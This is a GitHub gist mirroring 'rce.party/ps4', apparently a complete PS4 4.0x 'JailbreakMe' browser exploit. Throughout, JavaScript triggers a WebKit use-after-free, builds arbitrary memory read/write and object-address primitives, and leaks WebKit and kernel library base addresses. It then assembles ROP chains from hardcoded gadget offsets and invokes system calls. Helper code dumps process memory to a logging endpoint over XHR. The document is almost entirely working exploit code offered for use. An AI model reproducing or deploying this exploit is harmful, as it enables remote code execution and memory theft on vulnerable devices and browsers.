Skip to content

Instantly share code, notes, and snippets.

@X41
Created April 3, 2017 01:37
Show Gist options
  • Save X41/36acd2a6939e4cebbecba45d35bf0d75 to your computer and use it in GitHub Desktop.
Save X41/36acd2a6939e4cebbecba45d35bf0d75 to your computer and use it in GitHub Desktop.
rce.party/ps4 mirror 1491183203
var _dview;
function u2d(low, hi) {
if (!_dview) _dview = new DataView(new ArrayBuffer(16));
_dview.setUint32(0, hi);
_dview.setUint32(4, low);
return _dview.getFloat64(0);
}
function zeroFill( number, width )
{
width -= number.toString().length;
if ( width > 0 )
{
return new Array( width + (/\./.test( number ) ? 2 : 1) ).join( '0' ) + number;
}
return number + ""; // always return a string
}
function int64(low,hi) {
this.low = (low>>>0);
this.hi = (hi>>>0);
this.add32inplace = function(val) {
var new_lo = (((this.low >>> 0) + val) & 0xFFFFFFFF) >>> 0;
var new_hi = (this.hi >>> 0);
if (new_lo < this.low) {
new_hi++;
}
this.hi=new_hi;
this.low=new_lo;
}
this.add32 = function(val) {
var new_lo = (((this.low >>> 0) + val) & 0xFFFFFFFF) >>> 0;
var new_hi = (this.hi >>> 0);
if (new_lo < this.low) {
new_hi++;
}
return new int64(new_lo, new_hi);
}
this.sub32 = function(val) {
var new_lo = (((this.low >>> 0) - val) & 0xFFFFFFFF) >>> 0;
var new_hi = (this.hi >>> 0);
if (new_lo > (this.low) & 0xFFFFFFFF) {
new_hi--;
}
return new int64(new_lo, new_hi);
}
this.sub32inplace = function(val) {
var new_lo = (((this.low >>> 0) - val) & 0xFFFFFFFF) >>> 0;
var new_hi = (this.hi >>> 0);
if (new_lo > (this.low) & 0xFFFFFFFF) {
new_hi--;
}
this.hi=new_hi;
this.low=new_lo;
}
this.and32 = function(val) {
var new_lo = this.low & val;
var new_hi = this.hi;
return new int64(new_lo, new_hi);
}
this.and64 = function(vallo, valhi) {
var new_lo = this.low & vallo;
var new_hi = this.hi & valhi;
return new int64(new_lo, new_hi);
}
this.toString = function(val) {
val = 16; // eh
var lo_str = (this.low >>> 0).toString(val);
var hi_str = (this.hi >>> 0).toString(val);
if(this.hi == 0) return lo_str;
else {
lo_str = zeroFill(lo_str, 8)
}
return hi_str+lo_str;
}
this.toPacked = function() {
return {hi: this.hi, low: this.low};
}
this.setPacked = function(pck) {
this.hi=pck.hi;
this.low=pck.low;
return this;
}
return this;
}
var pressure = new Array(400);
var dgc = function() {
for (var i = 0; i < pressure.length; i++) {
pressure[i] = new Uint32Array(0x10000);
}
for (var i = 0; i < pressure.length; i++) {
pressure[i] = 0;
}
}
var frame_arr = [];
var frame_idx = 0;
var peek_val = 0;
function peek_stack() {
var ret_val = undefined;
var retno = 0xffff;
arguments.length = { valueOf:
function() {
var _retno = retno;
retno = 1;
return _retno;
}
};
var args = arguments;
(function() {
(function() {
(function() {
ret_val = arguments[0xff00];
}).apply(null, args);
}).apply(null, frame_arr);
}).apply(null, frame_arr);
peek_val = ret_val;
return ret_val;
}
function poke_stack(val) {
frame_arr[frame_idx] = val;
(function() {
(function() {
(function() {
}).apply(null, frame_arr);
}).apply(null, frame_arr);
}).apply(null, frame_arr);
frame_arr[frame_idx] = "LOL";
}
function go() {
try {
for (var i=0; i < 0xffff; i++)
{
frame_arr[i] = i;
}
frame_idx = 0;
poke_stack(0);
if (peek_stack() == undefined) {
alert ('not vulnerable');
return;
}
// Primitives are peek/poke to stack.
// Idea is we store a value in a stack frame, then later use uninitialized mem access to retreive it.
// However, if we trigger a GC run inbetween, it'll detect the object as non-existing, thus allowing UaF.
frame_idx = 0;
poke_stack(0);
peek_stack();
frame_idx = peek_val;
poke_stack(0x4141);
for (var k=0; k < 8; k++)
(function(){})();
peek_stack();
if (peek_val != 0x4141)
{
alert('couldnt align to stack');
return;
}
var uaf_replacement = new Array(0x1000);
for (var i = 0; i < 0x1000; i++)
{
uaf_replacement[i] = [];
for (var k = 0; k < 0x40; k++) {
uaf_replacement[i][k] = 0x84749310;
}
uaf_replacement[i].unshift(uaf_replacement[i].shift()); // ensure ArrayStorage
}
var uaf_hold = new Array(0x100);
for (var i = 0; i < 0x100; i++)
{
uaf_hold[i] = [1];
if ( !(i & 3) ) { // 1 Vector for every 3 ArrayStorage
for (var k = 0; k < 0x40; k++) {
uaf_hold[i][k] = 0x84749310;
}
}
uaf_hold[i].unshift(uaf_hold[i].shift()); // ensure ArrayStorage
} // poke holes n shit
var uaf_hold1 = new Array(0x400);
for (var i = 0; i < 0x400; i++)
{
uaf_hold1[i] = [1];
if ( !(i & 3) ) { // 1 Vector for every 3 ArrayStorage
for (var k = 0; k < 0x80; k++) {
uaf_hold1[i][k] = 0x84749310;
}
}
uaf_hold1[i].unshift(uaf_hold1[i].shift()); // ensure ArrayStorage
} // poke holes n shit
var uaf_target = []; // no arraystorage
for (var i = 0; i < 0x80; i++) {
uaf_target[i] = 0x42420000;
}
poke_stack(uaf_target); // store uaf_target in stack
uaf_target = 0; // remove reference
uaf_hold1 = 0; // remove reference
uaf_hold = 0;
for (var k=0; k < 4; k++)
dgc(); // run GC
peek_stack(); // read stored reference
uaf_target = peek_val;
peek_val = 0;
for (var i = 0; i < 0x1000; i++)
{
for (var k = 0x0; k < 0x80; k++)
{
uaf_replacement[i][k] = 0x7fffffff;
if (uaf_target.length == 0x7fffffff)
{
var yi = i;
for (var i = 0; i < yi; i++)
{
uaf_replacement[i] = 0;
}
for (var i = yi+1; i < 0x1000; i++)
{
uaf_replacement[i] = 0;
}
dgc();
var later = new Array(0x20000);
var buf = new ArrayBuffer(0x1000);
for (var i = 0; i < 0x20000; i++)
{
later[i] = i;
}
var overlap = new Array(0x80);
for (var i = 0; i < 0x20000; i++)
{
later[i] = new Uint32Array(buf);
}
var curi = 0x10000;
var found = 0;
var smashedButterfly = new int64(0,0);
var origData = new int64(0, 0);
var locateHelper = new int64(0, 0);
while (!found) { // Search for an Uint32Array
/*
Strategy:
-> We have heap buffer overflow in butterfly access on uaf_target
-> We can try to alter each quadword into 0x1337, check if any Uint32Array changed it's length
-> If it did, we can now copy an Array into m_baseAddress one and leak it's butterfly to later leak jsvalues
-> Next up we copy prevView into m_baseAddress
-> We now have a master/slave pair of Uint32Arrays.
-> We now have the ability to read and write anywhere, plus we hold a pointer to an array's Butterfly, allowing to turn JS objects into pointers and back.
*/
var sv = uaf_target[curi];
uaf_target[curi] = 0x1337;
for (var i = 0; i < 0x20000; i++)
{
if (later[i] && later[i].byteLength != 0x1000)
{
uaf_target[curi] = sv;
var smashed = later[i];
var overlap = [1337];
uaf_target[curi - 5] = overlap;
smashedButterfly.low=smashed[2];
smashedButterfly.hi=smashed[3];
smashedButterfly.keep_gc = overlap;
uaf_target[curi - 5] = uaf_target[curi - 2]; // m_baseAddress = prev view
uaf_replacement[yi][k] = 0;
origData.low=smashed[4];
origData.hi=smashed[5];
smashed[4] = smashed[12];
smashed[5] = smashed[13];
smashed[14] = 0x40;
var slave = undefined;
for (var k = 0; k < 0x20000; k++)
{
if (later[k].length == 0x40)
{
slave = later[k];
break;
}
}
if(!slave) throw new Error("couldn't find slave");
smashed[4] = smashedButterfly.low;
smashed[5] = smashedButterfly.hi;
overlap[0] = uaf_target;
var uaf_target_entry = new int64(slave[0], slave[1]);
smashed[4] = uaf_target_entry.low;
smashed[5] = uaf_target_entry.hi;
slave[2]=0;
slave[3]=0;
uaf_target = 0;
later = null;
smashed[4] = origData.low;
smashed[5] = origData.hi;
// derive primitives
var leakval = function(obj) {
smashed[4] = smashedButterfly.low;
smashed[5] = smashedButterfly.hi;
overlap[0] = obj;
var val = new int64(slave[0], slave[1]);
slave[0] = 1337;
slave[1] = 0xffff0000;
smashed[4] = origData.low;
smashed[5] = origData.hi;
return val;
}
var createval = function(val) {
smashed[4] = smashedButterfly.low;
smashed[5] = smashedButterfly.hi;
slave[0] = val.low;
slave[1] = val.hi;
var val = overlap[0];
slave[0] = 1337;
slave[1] = 0xffff0000;
smashed[4] = origData.low;
smashed[5] = origData.hi;
return val;
}
var read4 = function(addr) {
smashed[4] = addr.low;
smashed[5] = addr.hi;
var val = slave[0];
smashed[4] = origData.low;
smashed[5] = origData.hi;
return val;
}
var write4 = function(addr, val) {
smashed[4] = addr.low;
smashed[5] = addr.hi;
slave[0] = val;
smashed[4] = origData.low;
smashed[5] = origData.hi;
}
var read8 = function(addr) {
smashed[4] = addr.low;
smashed[5] = addr.hi;
var val = new int64(slave[0],slave[1]);
smashed[4] = origData.low;
smashed[5] = origData.hi;
return val;
}
var write8 = function(addr, val) {
smashed[4] = addr.low;
smashed[5] = addr.hi;
if (val == undefined) {
val = new int64(0,0);
}
if (!(val instanceof int64)) {
val = new int64(val,0);
}
slave[0] = val.low;
slave[1] = val.hi;
smashed[4] = origData.low;
smashed[5] = origData.hi;
}
if (createval(leakval(0x1337)) != 0x1337) {
throw new Error("invalid leak/create val behaviour");
}
var test = [1,2,3,4,5,6,7,8];
var test_addr = leakval(test);
var butterfly_addr = read8(test_addr.add32(8));
if ((butterfly_addr.low == 0 && butterfly_addr.hi == 0) || createval(read8(butterfly_addr)) != 1) {
throw new Error("broken read primitive");
}
if (window.postexploit) {
window.postexploit({
read4: read4,
read8: read8,
write4: write4,
write8: write8,
leakval: leakval,
createval: createval
});
}
document.getElementById("clck").innerHTML = 'done';
return 2;
}
}
uaf_target[curi] = sv;
curi ++;
}
alert("done!");
}
}
}
return 1;
} catch (e) { alert(e); }
}
window.onload = function () {
document.getElementById("clck").innerHTML = '<a href="javascript:go()">go</a>';
};
<html>
<head>
<title>JailbreakMe PS4 4.0x</title>
<meta name="viewport" content="user-scalable=1.0,initial-scale=1.0,minimum-scale=1.0,maximum-scale=1.0">
<meta name="apple-mobile-web-app-capable" content="no">
<meta name="format-detection" content="telephone=no">
<link rel="apple-touch-icon" href="touch-icon-iphone.png">
<meta name="apple-mobile-web-app-title" content="JailbreakMe" />
<style>
body {
overflow: hidden;
position: fixed;
position: relative;
}
h1{
overflow: hidden;
position: fixed;
position: absolute;
top: 40%;
left: 50%;
transform: translate(-50%, -50%);
}
footer {
position: absolute;
left: 0;
bottom: 0;
height: 40px;
width: 100%;
overflow:hidden;
}
</style>
</head>
<body>
<script>
// 0x0000000000005863 : mov rax, rdi ; ret
// 0x0000000000852624 : mov rdi, qword ptr [rdi + 0x18] ; mov rax, qword ptr [rdi] ; mov rax, qword ptr [rax + 0x30] ; jmp rax
// 0x000000000020aeb0 : pop rsp ; ret
// 0x000000000043cf70 : mov qword ptr [rdi], rsi ; ret
// 0x000000000010f1c1 : pop rdi ; ret
// 0x00000000000a459e : pop rsi ; ret
// 0x000000000001d70b : pop rax ; ret
/*
0x00000000001a41d6 : mov rdi, rax ; jmp rcx
0x0000000000eb5fc1 : pop r10 ; ret
0x0000000000eb5fd1 : pop r11 ; ret
0x000000000042f1b1 : pop r12 ; ret
0x00000000002cb954 : pop r14 ; ret
0x000000000010f1c0 : pop r15 ; ret
0x000000000001d70a : pop r8 ; ret
0x0000000000eb5f8f : pop r9 ; ret
0x000000000001d70b : pop rax ; ret
0x00000000000000c7 : pop rbp ; ret
0x00000000000950b5 : pop rbx ; ret
0x000000000025ef03 : pop rcx ; ret
0x000000000010f1c1 : pop rdi ; ret
0x0000000000001d12 : pop rdx ; ret
0x00000000000a459e : pop rsi ; ret
0x000000000020aeb0 : pop rsp ; ret
this.fcall = function (rip, rdi, rsi, rdx, r10, r8, r9)
0x000000000011add7 : mov qword ptr [rdi], rax ; ret
*/
window.gadgets = {
"pop rsi": 0xa459e,
"pop rdi": 0x10f1c1,
"mov [rdi], rsi": 0x43cf70,
"pop rsp": 0x20aeb0,
"setjmp": 0x270, // function stub actually
"mov rax, rdi": 0x5863,
"jop1": 0x852624,
"infloop": 0x45A11, // unused
"pop rax": 0x1d70b,
"pop rdx": 0x1d12,
"pop r8": 0x1d70a,
"pop r9": 0xeb5f8f,
"pop rcx": 0x25ef03,
"pop r10": 0xeb5fc1,
"mov [rdi], rax": 0x11add7,
"sceKernelLoadStartModule": 0x27380, // dump libkernel using the stack_chk_fail pointer to find base, then look for _sceKernelLoadStartModule
"got_entry_stack_chk_fail": 0x273D260 // pointer to pointer to stack_chk_fail -> look at epilogs to find this
}
window.postexploit = function(p)
{
document.getElementById("clck").style.display = 'none';
var hexdump = function(address, size) {
var ret = "\nHex Dump of 0x" + address + ": \n";
var addr_copy = address.add32(0);
for (var i = 0; i < size/8; i++)
{
var rd = p.read8(addr_copy.add32(i*8));
ret += "<a href='javascript:window.printdump(" + rd.low.toString() + ", " + rd.hi.toString() + ")'>0x" + rd.toString(16) + "</a>\n";
}
return ret;
};
var print = function(string) {
document.getElementById("console").innerHTML += string + "\n";
}
var xhr_sync_log = function(str) {
var req = new XMLHttpRequest();
req.open('GET', "log?" + str, false);
try {
req.send();
} catch(e){}
}
window.printdump = function(a,b) {
print(hexdump(new int64(a,b), 96));
}
print(" === exploit succeeded === ");
p.leakfcn = function(smashfcn) {
var smashobj = p.leakval(smashfcn);
var smashbase = p.read8(smashobj.add32(0x18));
return smashbase.add32(0x20);
}
var fcnptr = p.read8(p.leakfcn(parseFloat));
print("leaked parseFloat at 0x" + fcnptr);
var webKitBase = fcnptr.add32(0); // copy
webKitBase.low &= ~0xFFF;
webKitBase.sub32inplace(0x55000);
if (p.read4(webKitBase.add32(window.gadgets["jop1"])) != 0x187f8b48)
{
print("exploit successful but gadgets are incompatible with this version");
return;
}
var libSceKernel = p.read8(webKitBase.add32(window.gadgets["got_entry_stack_chk_fail"]));
libSceKernel.low &= ~0xFFF;
libSceKernel.sub32inplace(0xd000);
print("webKit base at 0x" + webKitBase);
print("libSceKernel base at 0x" + libSceKernel);
// 48 8B 7F 18 48 8B 07 48 8B 40 30 FF E0
var findModuleBaseXHR = function(addr)
{
var addr_ = addr.add32(0); // copy
addr_.low &= ~0xFFF;
while (1) {
xhr_sync_log("reading " + addr_);
p.read4(addr_);
addr_.sub32inplace(0x1000);
}
}
var dumpModuleXHR = function(moduleBase) {
var chunk = new ArrayBuffer(0x200);
var chunk32 = new Uint32Array(chunk);
var chunk8 = new Uint8Array(chunk);
function bufferToBase64(buf) {
var binstr = Array.prototype.map.call(buf, function (ch) {
return String.fromCharCode(ch);
}).join('');
return btoa(binstr);
}
var moduleBase_ = moduleBase.add32(0); // copy
while (1) {
var sendmsg = "";
for (var i = 0; i < chunk32.length; i++)
{
var val = p.read4(moduleBase_);
chunk32[i] = val;
moduleBase_.add32inplace(4);
}
xhr_sync_log(bufferToBase64(chunk8));
}
}
var fptr_store = p.leakfcn(parseFloat);
var argz = [];
for (var i = 0; i < 0x7fff; i++) argz[i] = 0x41410000|i;
var argbuf = new Uint32Array(0x1000);
var argptr = p.read8(p.leakval(argbuf).add32(0x28));
argbuf[0] = 0x13371337;
if (p.read4(argptr) != 0x13371337) throw new Error("Uint32Array struct layout not recognized :(");
window.dont_tread_on_me = [argbuf];
p.loadchain = function(chain)
{
var stackPointer = 0;
var stackCookie = 0;
var orig_reenter_rip = 0;
var reenter_help = {length: {valueOf: function(){
orig_reenter_rip = p.read8(stackPointer);
var returnToFrame = stackPointer;
var ocnt = chain.count;
chain.push_write8(stackPointer, orig_reenter_rip);
chain.push_write8(stackPointer.add32(8), stackCookie);
if (chain.runtime) returnToFrame=chain.runtime(stackPointer);
chain.push(webKitBase.add32(window.gadgets["pop rsp"])); // pop rsp
chain.push(returnToFrame); // -> back to the trap life
chain.count = ocnt;
p.write8(stackPointer, webKitBase.add32(window.gadgets["pop rsp"])); // pop rsp
p.write8(stackPointer.add32(8), chain.ropframeptr); // -> rop frame
return 0;
}}};
return (function(){
(function(){}).apply(null, argz); // clear frame
var orig = p.read8(fptr_store);
p.write8(fptr_store, webKitBase.add32(window.gadgets["mov rax, rdi"])); // leak frame
var trap = p.leakval(parseFloat());
var rtv = 0;
var fakeval = new int64(0x41414141, 0xffff0000);
(function(){
var val = p.read8(trap.add32(0x100));
if ((val.hi != 0xffff0000) || ((val.low & 0xFFFF0000) != 0x41410000))
{
throw new Error("rip stack frame");
}
}).apply(null, argz);
p.write8(argptr, argptr.add32(0x100)); // write vtable
p.write8(argptr.add32(0x130), webKitBase.add32(window.gadgets["setjmp"])); // setjmp
p.write8(fptr_store, webKitBase.add32(window.gadgets["jop1"])); // gadget 1
(function(){}).apply(null, argz); // clear frame
p.write8(trap.add32(0x18), argptr); // write to frame
p.leakval(parseFloat()); // call setjmp
stackPointer = p.read8(argptr.add32(0x10));
stackCookie = p.read8(stackPointer.add32(8));
rtv=Array.prototype.splice.apply(reenter_help);
p.write8(trap.add32(0x18), fakeval); // write to frame
p.write8(trap.add32(0x18), orig); // write to frame
return p.leakval(rtv);
}).apply(null, argz);
}
var RopChain = function () {
this.ropframe = new Uint32Array(0x1000);
this.ropframeptr = p.read8(p.leakval(this.ropframe).add32(0x28));
this.count = 0;
this.clear = function() {
this.count = 0;
this.runtime = undefined;
for (var i = 0; i < 0xff0/2; i++)
{
p.write8(this.ropframeptr.add32(i*8), 0);
}
};
this.pushSymbolic = function() {
this.count++;
return this.count-1;
}
this.finalizeSymbolic = function(idx, val) {
p.write8(this.ropframeptr.add32(idx*8), val);
}
this.push = function(val) {
this.finalizeSymbolic(this.pushSymbolic(), val);
}
this.push_write8 = function(where, what)
{
this.push(webKitBase.add32(window.gadgets["pop rdi"])); // pop rdi
this.push(where); // where
this.push(webKitBase.add32(window.gadgets["pop rsi"])); // pop rsi
this.push(what); // what
this.push(webKitBase.add32(window.gadgets["mov [rdi], rsi"])); // perform write
}
this.fcall = function (rip, rdi, rsi, rdx, rcx, r8, r9)
{
this.push(webKitBase.add32(window.gadgets["pop rdi"])); // pop rdi
this.push(rdi); // what
this.push(webKitBase.add32(window.gadgets["pop rsi"])); // pop rsi
this.push(rsi); // what
this.push(webKitBase.add32(window.gadgets["pop rdx"])); // pop rdx
this.push(rdx); // what
this.push(webKitBase.add32(window.gadgets["pop rcx"])); // pop r10
this.push(rcx); // what
this.push(webKitBase.add32(window.gadgets["pop r8"])); // pop r8
this.push(r8); // what
this.push(webKitBase.add32(window.gadgets["pop r9"])); // pop r9
this.push(r9); // what
this.push(rip); // jmp
return this;
}
this.run = function() {
var retv = p.loadchain(this);
this.clear();
return retv;
}
return this;
};
window.nogc = [];
var scratchbuf = new Uint8Array(0x1000);
var scratch = p.read8(p.leakval(scratchbuf).add32(0x28));
window.nogc.push(scratchbuf);
p.sptr = function(str) {
var bufView = new Uint8Array(str.length+1);
for (var i=0; i<str.length; i++) {
bufView[i] = str.charCodeAt(i) & 0xFF;
}
window.nogc.push(bufView);
return p.read8(p.leakval(bufView).add32(0x28));
};
p.fcall = function(rip, rdi, rsi, rdx, rcx, r8, r9) {
var chain = new RopChain();
chain.fcall(rip, rdi, rsi, rdx, rcx, r8, r9);
chain.push(webKitBase.add32(window.gadgets["pop rdi"])); // pop rdi
chain.push(chain.ropframeptr.add32(0x3ff8)); // where
chain.push(webKitBase.add32(window.gadgets["mov [rdi], rax"])); // rdi = rax
chain.push(webKitBase.add32(window.gadgets["pop rax"])); // pop rax
chain.push(p.leakval(0x41414242)); // where
if (chain.run().low != 0x41414242) throw new Error("unexpected rop behaviour");
return p.read8(chain.ropframeptr.add32(0x3ff8));
}
window.syscalls = {1: 0x26D0, 2: 0x2830, 3: 0x25F0, 4: 0x2730, 5: 0x2570, 6: 0x24D0, 7: 0x2710, 10: 0x0690, 12: 0x06B0, 15: 0x06D0, 20: 0x06F0, 23: 0x0710, 24: 0x0730, 25: 0x0750, 27: 0x2650, 28: 0x2690, 29: 0x2630, 30: 0x2490, 31: 0x0770, 32: 0x0790, 33: 0x07B0, 34: 0x07D0, 35: 0x07F0, 36: 0x0810, 37: 0x0830, 39: 0x0870, 41: 0x08B0, 42: 0x05F0, 43: 0x08D0, 44: 0x08F0, 47: 0x0910, 49: 0x26F0, 50: 0x0640, 53: 0x0950, 54: 0x0970, 55: 0x0620, 56: 0x0990, 59: 0x059D, 59: 0x09B0, 65: 0x2530, 73: 0x09F0, 74: 0x0A10, 75: 0x0A30, 78: 0x0A50, 79: 0x0A70, 80: 0x0A90, 83: 0x0AB0, 86: 0x0AD0, 89: 0x0AF0, 90: 0x0B10, 92: 0x0B30, 93: 0x2670, 95: 0x2510, 96: 0x0B50, 97: 0x0B70, 98: 0x24F0, 99: 0x0B90, 100: 0x0BB0, 101: 0x0BD0, 102: 0x0BF0, 104: 0x0C10, 105: 0x0C30, 106: 0x0C50, 113: 0x0C70, 114: 0x0C90, 116: 0x0CB0, 117: 0x0CD0, 118: 0x0CF0, 120: 0x2610, 121: 0x2750, 122: 0x0D10, 124: 0x0D30, 125: 0x0D50, 126: 0x0D70, 127: 0x0D90, 128: 0x0DB0, 131: 0x0DD0, 133: 0x26B0, 134: 0x0DF0, 135: 0x0E10, 136: 0x0E30, 137: 0x0E50, 138: 0x0E70, 140: 0x0E90, 141: 0x0EB0, 147: 0x0F10, 165: 0x0F70, 182: 0x0F90, 183: 0x0FB0, 188: 0x0850, 189: 0x09D0, 190: 0x0890, 191: 0x0FD0, 192: 0x0FF0, 194: 0x0ED0, 195: 0x0EF0, 196: 0x0F30, 202: 0x1010, 203: 0x1030, 204: 0x1050, 206: 0x1070, 209: 0x25B0, 232: 0x1090, 233: 0x10B0, 234: 0x10D0, 235: 0x10F0, 236: 0x1110, 237: 0x1130, 238: 0x1150, 239: 0x1170, 240: 0x2550, 251: 0x0470, 253: 0x1190, 272: 0x11B0, 289: 0x11D0, 290: 0x11F0, 310: 0x1210, 315: 0x24B0, 324: 0x1230, 325: 0x1250, 327: 0x1270, 328: 0x1290, 329: 0x12B0, 330: 0x12D0, 331: 0x12F0, 332: 0x1310, 333: 0x1330, 334: 0x1350, 340: 0x2890, 340: 0x2933, 341: 0x28B0, 343: 0x0930, 345: 0x28D0, 346: 0x28F0, 362: 0x1390, 363: 0x13B0, 379: 0x13D0, 392: 0x13F0, 393: 0x1370, 397: 0x0F50, 400: 0x1410, 401: 0x1430, 402: 0x1450, 403: 0x1470, 404: 0x1490, 405: 0x14B0, 406: 0x14D0, 407: 0x14F0, 408: 0x1510, 416: 0x2870, 417: 0x0670, 421: 0x05C4, 422: 0x2850, 423: 0x2910, 429: 0x1530, 430: 0x1550, 431: 0x1570, 432: 0x1590, 433: 0x15B0, 434: 0x15D0, 435: 0x15F0, 441: 0x1610, 442: 0x1630, 443: 0x1650, 444: 0x1670, 454: 0x1690, 454: 0x29C0, 455: 0x16B0, 456: 0x16D0, 464: 0x16F0, 466: 0x1710, 475: 0x27D0, 476: 0x27F0, 477: 0x27B0, 478: 0x2790, 479: 0x2810, 480: 0x2770, 481: 0x1730, 482: 0x1750, 483: 0x1770, 486: 0x1790, 487: 0x17B0, 488: 0x17D0, 499: 0x2590, 522: 0x25D0, 532: 0x17F0, 533: 0x1810, 534: 0x1830, 535: 0x1850, 536: 0x1870, 538: 0x1890, 539: 0x18B0, 540: 0x18D0, 541: 0x18F0, 542: 0x1910, 543: 0x1930, 544: 0x1950, 545: 0x1970, 546: 0x1990, 547: 0x19B0, 548: 0x19D0, 549: 0x19F0, 550: 0x1A10, 551: 0x1A30, 552: 0x1A50, 553: 0x1A70, 554: 0x1A90, 555: 0x1AB0, 556: 0x1AD0, 557: 0x1AF0, 558: 0x1B10, 559: 0x1B30, 560: 0x1B50, 563: 0x1B70, 564: 0x1B90, 565: 0x1BB0, 566: 0x1BD0, 567: 0x1BF0, 572: 0x1C10, 580: 0x1C30, 581: 0x1C50, 582: 0x1C70, 583: 0x1C90, 584: 0x1CB0, 585: 0x1CD0, 586: 0x1CF0, 587: 0x1D10, 588: 0x1D30, 591: 0x1D50, 592: 0x1D70, 593: 0x1D90, 594: 0x1DB0, 595: 0x1DD0, 596: 0x1DF0, 598: 0x1E10, 599: 0x1E30, 600: 0x1E50, 601: 0x1E70, 602: 0x1E90, 603: 0x1EB0, 604: 0x1ED0, 605: 0x1EF0, 606: 0x1F10, 607: 0x1F30, 608: 0x1F50, 610: 0x1F70, 611: 0x1F90, 612: 0x1FB0, 613: 0x1FD0, 615: 0x1FF0, 616: 0x2010, 617: 0x2030, 618: 0x2050, 619: 0x2070, 620: 0x2090, 622: 0x20B0, 623: 0x20D0, 624: 0x20F0, 625: 0x2110, 626: 0x2130, 627: 0x2150, 628: 0x2170, 629: 0x2190, 630: 0x21B0, 632: 0x21D0, 633: 0x21F0, 634: 0x2210, 635: 0x2230, 636: 0x2250, 637: 0x2270, 638: 0x2290, 639: 0x22B0, 640: 0x22D0, 641: 0x22F0, 642: 0x2310, 643: 0x2330, 644: 0x2350, 646: 0x2370, 647: 0x2390, 648: 0x23B0, 649: 0x23D0, 652: 0x23F0, 653: 0x2410, 654: 0x2430, 655: 0x2450, 656: 0x2470}; // not 100% correct but heh
window.syscallnames = {"sys_exit": 1,"fork": 2,"read": 3,"write": 4,"open": 5,"close": 6,"wait4": 7,"unlink": 10,"chdir": 12,"chmod": 15,"getpid": 20,"setuid": 23,"getuid": 24,"geteuid": 25,"recvmsg": 27,"sendmsg": 28,"recvfrom": 29,"accept": 30,"getpeername": 31,"getsockname": 32,"access": 33,"chflags": 34,"fchflags": 35,"sync": 36,"kill": 37,"getppid": 39,"dup": 41,"pipe": 42,"getegid": 43,"profil": 44,"getgid": 47,"getlogin": 49,"setlogin": 50,"sigaltstack": 53,"ioctl": 54,"reboot": 55,"revoke": 56,"execve": 59,"execve": 59,"msync": 65,"munmap": 73,"mprotect": 74,"madvise": 75,"mincore": 78,"getgroups": 79,"setgroups": 80,"setitimer": 83,"getitimer": 86,"getdtablesize": 89,"dup2": 90,"fcntl": 92,"select": 93,"fsync": 95,"setpriority": 96,"socket": 97,"connect": 98,"accept": 99,"getpriority": 100,"send": 101,"recv": 102,"bind": 104,"setsockopt": 105,"listen": 106,"recvmsg": 113,"sendmsg": 114,"gettimeofday": 116,"getrusage": 117,"getsockopt": 118,"readv": 120,"writev": 121,"settimeofday": 122,"fchmod": 124,"recvfrom": 125,"setreuid": 126,"setregid": 127,"rename": 128,"flock": 131,"sendto": 133,"shutdown": 134,"socketpair": 135,"mkdir": 136,"rmdir": 137,"utimes": 138,"adjtime": 140,"getpeername": 141,"setsid": 147,"sysarch": 165,"setegid": 182,"seteuid": 183,"stat": 188,"fstat": 189,"lstat": 190,"pathconf": 191,"fpathconf": 192,"getrlimit": 194,"setrlimit": 195,"getdirentries": 196,"__sysctl": 202,"mlock": 203,"munlock": 204,"futimes": 206,"poll": 209,"clock_gettime": 232,"clock_settime": 233,"clock_getres": 234,"ktimer_create": 235,"ktimer_delete": 236,"ktimer_settime": 237,"ktimer_gettime": 238,"ktimer_getoverrun": 239,"nanosleep": 240,"rfork": 251,"issetugid": 253,"getdents": 272,"preadv": 289,"pwritev": 290,"getsid": 310,"aio_suspend": 315,"mlockall": 324,"munlockall": 325,"sched_setparam": 327,"sched_getparam": 328,"sched_setscheduler": 329,"sched_getscheduler": 330,"sched_yield": 331,"sched_get_priority_max": 332,"sched_get_priority_min": 333,"sched_rr_get_interval": 334,"sigprocmask": 340,"sigprocmask": 340,"sigsuspend": 341,"sigpending": 343,"sigtimedwait": 345,"sigwaitinfo": 346,"kqueue": 362,"kevent": 363,"uuidgen": 392,"sendfile": 393,"fstatfs": 397,"ksem_close": 400,"ksem_post": 401,"ksem_wait": 402,"ksem_trywait": 403,"ksem_init": 404,"ksem_open": 405,"ksem_unlink": 406,"ksem_getvalue": 407,"ksem_destroy": 408,"sigaction": 416,"sigreturn": 417,"getcontext": 421,"setcontext": 422,"swapcontext": 423,"sigwait": 429,"thr_create": 430,"thr_exit": 431,"thr_self": 432,"thr_kill": 433,"ksem_timedwait": 441,"thr_suspend": 442,"thr_wake": 443,"kldunloadf": 444,"_umtx_op": 454,"_umtx_op": 454,"thr_new": 455,"sigqueue": 456,"thr_set_name": 464,"rtprio_thread": 466,"pread": 475,"pwrite": 476,"mmap": 477,"lseek": 478,"truncate": 479,"ftruncate": 480,"thr_kill2": 481,"shm_open": 482,"shm_unlink": 483,"cpuset_getid": 486,"cpuset_getaffinity": 487,"cpuset_setaffinity": 488,"openat": 499,"pselect": 522,"wait6": 532,"cap_rights_limit": 533,"cap_ioctls_limit": 534,"cap_ioctls_get": 535,"cap_fcntls_limit": 536,"bindat": 538,"connectat": 539,"chflagsat": 540,"accept4": 541,"pipe2": 542,"aio_mlock": 543,"procctl": 544,"ppoll": 545,"futimens": 546,"utimensat": 547,"numa_getaffinity": 548,"numa_setaffinity": 549}
p.syscall = function(sysc, rdi, rsi, rdx, rcx, r8, r9)
{
if (typeof sysc == "string") {
sysc = window.syscallnames[sysc];
}
if (typeof sysc != "number") {
throw new Error("invalid syscall");
}
var off = window.syscalls[sysc];
if (off == undefined)
{
throw new Error("invalid syscall");
}
return p.fcall(libSceKernel.add32(off), rdi, rsi, rdx, rcx, r8, r9);
}
p.readstr = function(addr){
var addr_ = addr.add32(0); // copy
var rd = p.read4(addr_);
var buf = "";
while (rd & 0xFF)
{
buf += String.fromCharCode(rd & 0xFF);
addr_.add32inplace(1);
rd = p.read4(addr_);
}
return buf;
}
var idx = 0;
window.trycall = function() {
print("call ret: " + p.fcall(webKitBase.add32(window.gadgets["mov rax, rdi"]), idx));
idx ++;
}
window.trysyscall = function() {
print("getpid(): " + p.syscall("getpid"));
print("getuid(): " + p.syscall("getuid"));
print("pipe(): " + p.syscall("pipe", scratch) + "\n\tfd[0]: " + p.read4(scratch) + "\n\tfd[1]: " + p.read4(scratch.add32(4)));
}
print("<a href=javascript:window.trycall();>try call</a>");
print("<a href=javascript:window.trysyscall();>try syscall</a>");
}
</script>
<script src=expl.js></script>
